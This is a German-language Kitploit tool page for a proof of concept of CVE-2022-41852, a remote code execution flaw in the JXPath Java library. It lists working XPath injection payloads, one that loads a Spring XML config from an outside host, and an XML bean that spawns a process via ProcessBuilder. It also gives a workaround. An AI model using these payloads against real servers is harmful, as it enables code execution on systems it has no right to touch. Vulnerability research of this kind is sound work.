Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-41852 — CVE-2022-41852 Proof of Concept (inoffiziell) | Kitploit
Tools/GitHubGitHub/warxim/cve-2022-41852
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 Proof of Concept (inoffiziell)

Repository anzeigen
7415vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

Proof of Concept für Remote Code Execution in der JXPath-Bibliothek (CVE-2022-41852)

CVE-2022-41852 ermöglicht Angreifern, Code auf dem Anwendungsserver auszuführen.

Weitere Informationen zu dieser Schwachstelle findest du hier:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Hinweis: Ich bin nicht der Autor dieser CVE. Ich habe nur diesen Proof of Concept erstellt.

Nützliche Links

  • JXPath GitHub
  • JXPath Website
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

Schwachstellenbeschreibung

Die JXPath-Bibliothek unterstützt das Ausführen von Funktionen in XPath-Ausdrücken (siehe Offizieller Benutzerleitfaden).

Zum Beispiel sind die Methoden JXPathContext.getValue(path) und JXPathContext.iterate(path) gefährlich, wenn der Benutzer Eingaben in den path-Parameter senden darf.

PoC-Beschreibung

Dieser PoC startet einen einfachen Spring-Server mit zwei Endpunkten:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

Diese Endpunkte haben nur einen Abfrageparameter „path“.

Mögliche Anfrage-URLs

Die folgenden Anfragen funktionieren einwandfrei (verursachen keine Probleme):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

Die folgenden Anfragen führen zur Ausführung von Code:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

Beispiel-Payloads

Beispiel-Payloads zur Erkennung von CVE-2022-41852:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

Es gibt verschiedene Möglichkeiten, Befehle auszuführen. Eine davon ist die Verwendung von Springs ClassPathXmlApplicationContext:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

In der XML-Datei kannst du eine Bean-Konfiguration definieren, z. B. eine Instanz von ProcessBuilder erstellen und den angegebenen Befehl auf dem Server ausführen, indem du die Bean mit der Methode start() initialisierst. Im folgenden Beispiel wird auf einem Windows-Rechner der Taschenrechner geöffnet:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Es gibt auch eine Möglichkeit, neue Klassen zu laden, indem die Context-Bean durchlaufen wird. Der folgende Code lädt beispielsweise die Klasse com.warxim.dangerous.DangerousClass, erstellt eine Instanz und ruft die Methode run("warxim") auf:

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

Beachte, dass wir die Objektmethoden aufrufen müssen, indem wir das Objekt, das sie enthält, als ersten Parameter übergeben.

Workaround für CVE-2022-41852

Es ist möglich, Funktionen in JXPathContext zu deaktivieren, indem das Feld functions auf eine leere FunctionLibrary gesetzt wird.

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

Hinweis: Dadurch werden alle Funktionen deaktiviert, sodass selbst Funktionen wie size() nicht mehr verfügbar sind.

Behebung

Der Fix wird entwickelt, siehe https://github.com/apache/commons-jxpath/pull/26

Tool herunterladen